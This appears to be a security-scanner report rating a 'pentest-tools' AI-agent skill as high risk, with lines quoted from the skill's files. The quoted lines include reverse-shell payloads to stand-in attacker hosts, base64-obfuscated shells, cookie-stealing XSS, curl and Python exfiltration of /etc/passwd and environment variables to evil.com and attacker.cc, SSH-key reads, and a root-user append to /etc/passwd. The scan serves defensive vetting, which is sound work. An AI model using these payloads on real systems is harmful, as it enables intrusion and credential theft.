pentest-tools
30 / 100 · High risk
Only if you trust the author. Some of what it can do is expected: a coding skill usually runs build and test commands.
By iradoweck/antigravity-awesome-skills (GitHub) · coding · 30 stars · scanned at commit 2984de1
Operate 20+ penetration-testing tools (Nmap, Nuclei, SQLMap, FFUF, Hashcat, and more) through structured workflows with consistent output handling.
Works with any agent that supports SKILL.md skills.
What this skill can do
Downloads and installs other software
The author does not mention this.
Found in 40 places.
- skills/pentest-tools/SKILL.md, line 99
| **Impacket** | Windows 协议利用（SMB/WMI/Kerberos） | `pip install impacket` | - skills/pentest-tools/SKILL.md, line 171
"command": "npx", - skills/pentest-tools/SKILL.md, line 243
| Nuclei | ✓ | `go install` 或 GitHub Release | 需要 Go 或直接下载二进制 |
Show 17 more
- skills/pentest-tools/SKILL.md, line 244
| SQLMap | ✓ | `pip install sqlmap` 或 git clone | Python | - skills/pentest-tools/SKILL.md, line 250
| Impacket | ✓ | `pip install impacket` | Python | - skills/pentest-tools/SKILL.md, line 251
| ProxyCat | ✓ | `pip install proxycat` | 代理池中间件（批量扫描防封） | - skills/pentest-tools/SKILL.md, line 253
| Reqable MCP | ✓ | `npx -y reqable-mcp-server@1.0.1` | 需先手动安装 Reqable 桌面客户端 | - skills/pentest-tools/SKILL.md, line 272
- Nuclei: go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest - skills/pentest-tools/SKILL.md, line 273
- SQLMap: pip install sqlmap - skills/pentest-tools/references/burpsuite-mcp-guide.md, line 708
- Linux / Kali：`sudo apt install burpsuite` 或官方 .jar - skills/pentest-tools/references/kali-mcp-ecosystem.md, line 15
- **安装**：`apt install mcp-kali-server` - skills/pentest-tools/references/kali-mcp-ecosystem.md, line 29
- **安装**：`apt install metasploitmcp` - skills/pentest-tools/references/kali-mcp-ecosystem.md, line 42
- **安装**：`apt install hexstrike-ai` - skills/pentest-tools/references/kali-mcp-ecosystem.md, line 51
- **安装**：`go install github.com/Armur-Ai/Pentest-Swarm-AI/cmd/pentestswarm@v0.1.0` - skills/pentest-tools/references/nuclei-guide-2026.md, line 12
- 已集成到 Kali 官方仓库（`apt install nuclei`） - skills/pentest-tools/references/nuclei-guide-2026.md, line 18
apt install nuclei - skills/pentest-tools/references/nuclei-guide-2026.md, line 20
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest - skills/pentest-tools/src-hunter/references/payloader/by-category/web/api安全.md, line 503
npm install -g graphql-cli - skills/pentest-tools/src-hunter/references/payloader/by-category/web/api安全.md, line 507
pip install inql - skills/pentest-tools/src-hunter/references/payloader/by-category/web/api安全.md, line 511
npm install -g graphql-cop
and 20 more places
Runs commands on your computer
The author does not mention this. Expected for a coding skill.
Found in 105 places.
- skills/pentest-tools/SKILL.md, line 116
docker pull ramkansal/pentestmcp - skills/pentest-tools/src-hunter/references/payloader/by-category/web/api安全.md, line 1084
{"alg":"HS256","typ":"JWT","kid":"|/bin/bash -c id"} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 150
<?php system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\""); ?>
Show 17 more
- skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 293
?file=../../../var/log/apache2/access.log&c=bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1" - skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 757
POST: <?php system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\""); ?> - skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 868
?file=data://text/plain,<?php system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\""); ?> - skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 415
; bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1" - skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 417
; python -c "import socket,subprocess,os;s=socket.socket();s.connect(('attacker',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subpro - skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 720
java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 59
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"').read()}} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 170
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 174
- ` ex="freemarker.template.utility.Execute"?new()>${ex("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")}` — 参数与载荷内容 _va - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 401
${T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 523
{system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\"")} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 619
${self.module.cache.util.os.popen("id").read()} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 620
${self.module.cache.util.os.popen("whoami").read()} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 621
${self.module.cache.util.os.system("id")} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 624
- `os.popen()` — 打开管道执行命令 _function_ - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 633
${subprocess.check_output(["id","-a"])} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 634
${subprocess.Popen(["id"],stdout=subprocess.PIPE).communicate()[0]}
and 85 more places
Sends data to these websites: target, api.ipify.org, crt.sh, api.example, app.example, attacker.com, api.target.com, target.com, target$path, attacker.cc and 1 more
The author does not mention this.
Found in 840 places.
- skills/pentest-tools/references/burpsuite-mcp-guide.md, line 745
curl http://127.0.0.1:9876/health - skills/pentest-tools/references/client-side-lab-playbook.md, line 21
curl "https://target/?__proto__[x]=1" # Windows curl: bad range in position ... - skills/pentest-tools/references/client-side-lab-playbook.md, line 76
fetch(path, { method, headers: { 'Content-Type': window.contentType }, body: payload(data) })
Show 17 more
- skills/pentest-tools/references/msf-protocol.md, line 133
- 公网 IP 不知道时：`curl -s https://api.ipify.org` - skills/pentest-tools/references/network-attack-defense.md, line 37
curl "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value' - skills/pentest-tools/references/recon-pipeline.md, line 35
curl -sS -D - -o NUL --max-time 15 \ - skills/pentest-tools/references/recon-pipeline.md, line 43
curl -sS --max-time 15 \ - skills/pentest-tools/references/recon-pipeline.md, line 127
-ReproCommand 'curl -s "https://api.example/app/v1/clock" -A "Mozilla/5.0" -H "Origin: https://app.example" -H "Referer: https://app.example/"' ` - skills/pentest-tools/references/web-attack-cheatsheet.md, line 79
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script> - skills/pentest-tools/references/web-attack-cheatsheet.md, line 192
curl -s -H "Auth: TOKEN" "https://api.target.com/users/$id" | grep -v "403" - skills/pentest-tools/references/web-attack-cheatsheet.md, line 320
fetch('https://target.com/api/change-email', { - skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md, line 477
curl -s -o /dev/null -w "%{http_code} $path\n" http://target$path - skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md, line 483
curl -s -o /dev/null -w "%{http_code} $path\n" http://target$path - skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md, line 491
curl -s -o /dev/null -w "%{http_code} $path\n" http://target$path - skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md, line 246
curl -s http://target/ | grep -iE "(seeyon|tongda|weaver|yongyou|kingdee|landray|jeecg|ruoyi|nacos|druid)" - skills/pentest-tools/src-hunter/references/industry/banking-finance.md, line 100
curl -X POST https://target/pay/notify \ - skills/pentest-tools/src-hunter/references/industry/banking-finance.md, line 106
curl -X POST https://target/pay/notify -d "out_trade_no=ORDER001&trade_status=SUCCESS" - skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 173
curl https://attacker.cc/?d=`whoami` - skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 174
curl -X POST -d "$(cat /etc/passwd | base64)" https://attacker.cc/ - skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 245
AWS-IMDSv2 curl -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token
and 820 more places
Changes files outside its own folder
The author does not mention this.
Found in 3 places.
- skills/pentest-tools/references/network-attack-defense.md, line 128
| 可写 /etc/passwd | `echo 'root2:$1$...:0:0::/root:/bin/bash' >> /etc/passwd` | - skills/pentest-tools/src-hunter/references/payloader/by-category/web/缓存与cdn安全.md, line 446
echo "${REAL_IP} target.com" | sudo tee -a /etc/hosts - skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md, line 1961
echo "${REAL_IP} target.com" | sudo tee -a /etc/hosts
Contains code that is hidden or hard to read
The author does not mention this.
Found in 15 places.
- skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 157
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh # base64 嵌套 # security-allowlist: SEC008 - skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 127
; echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash # security-allowlist: SEC008 - skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 429
; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==" | base64 -d | bash # security-allowlist: SEC008
Show 12 more
- skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 955
<img src=x onerror="eval(atob('YWxlcnQoMSk='))"> - skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1307
<script>var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){ne - skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1311
- `var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){new Ima - skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1441
<script>eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkK - skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1445
- `eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHMpOw - skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 225
| 命令字过滤 | base64：`echo Y2F0IC9ldGMvcGFzc3dk \| base64 -d \| sh` | <!-- security-allowlist: SEC008 --> - skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 2257
; echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash # security-allowlist: SEC008 - skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 2435
; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==" | base64 -d | bash # security-allowlist: SEC008 - skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 135
eval(atob('YWxlcnQoMSk=')) - skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 877
<img src=x onerror="eval(atob('YWxlcnQoMSk='))"> - skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 1079
<script>var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){ne - skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 1156
<script>eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkK
Reads your saved credentials, such as SSH keys or .env files
This is disclosed by the author in the skill's SKILL.md or README.
Found in 8 places.
- skills/pentest-tools/src-hunter/references/payloader/by-category/web/供应链攻击.md, line 261
python3 -c "import os,urllib.request;urllib.request.urlopen(urllib.request.Request('https://evil.com',data=str(dict(os.environ)).encode()))" - skills/pentest-tools/src-hunter/references/payloader/tools/权限提升.md, line 88
cat ~/.ssh/authorized_keys - skills/pentest-tools/src-hunter/references/playbooks/file-upload.md, line 545
"../../../root/.ssh/id_rsa" "../../../root/.bash_history"
Show 5 more
- skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md, line 909
with open("/root/.ssh/id_rsa", "r") as f: - skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md, line 137
/root/.ssh/authorized_keys /root/.ssh/id_rsa - skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md, line 246
读到 /home/web/.ssh/id_rsa → SSH 私钥（不要使用） - skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 291
→ 横向（看 /etc/hosts, ~/.aws/credentials, ~/.docker/config.json） - skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 4426
python3 -c "import os,urllib.request;urllib.request.urlopen(urllib.request.Request('https://evil.com',data=str(dict(os.environ)).encode()))"
Safer alternatives
Low-risk skills in the same category (coding) that look related. Check that one does what you need.
- 80 Low riskpentest-toolscoco-research/coco · 630 stars
- 100 Low riskPentest CommandsDokhacgiakhoa/Agent-Skills-4-Vibe-Coding-CLI · 512 stars
- 95 Low riskpentest-commandszebbern/claude-code-guide · 4,704 stars
Other copies in this repository
iradoweck/antigravity-awesome-skills has 2 more folders with a skill named pentest-tools. This page shows the lowest-scoring copy.
- plugins/agentic-awesome-skills/skills/pentest-tools 30/100 · High risk
- plugins/agentic-awesome-skills-claude/skills/pentest-tools 30/100 · High risk
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'pentest-tools' ] || [ -L ~/.agents/skills/'pentest-tools' ]; then echo 'A skill folder named pentest-tools already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/iradoweck/antigravity-awesome-skills' "$d" && git -C "$d" checkout --quiet '2984de11956e413008c6f98121cd141c499e47a3' -- 'skills/pentest-tools' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/pentest-tools' ~/.agents/skills/'pentest-tools' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'pentest-tools' ~/.claude/skills/'pentest-tools' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for iradoweck/antigravity-awesome-skills shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/iradoweck/antigravity-awesome-skills/)
Score history
| Date | Version | Score |
|---|---|---|
| 2026-11-08 | 2984de1 | 30 |
| 2026-11-06 | 2984de1 | 30 |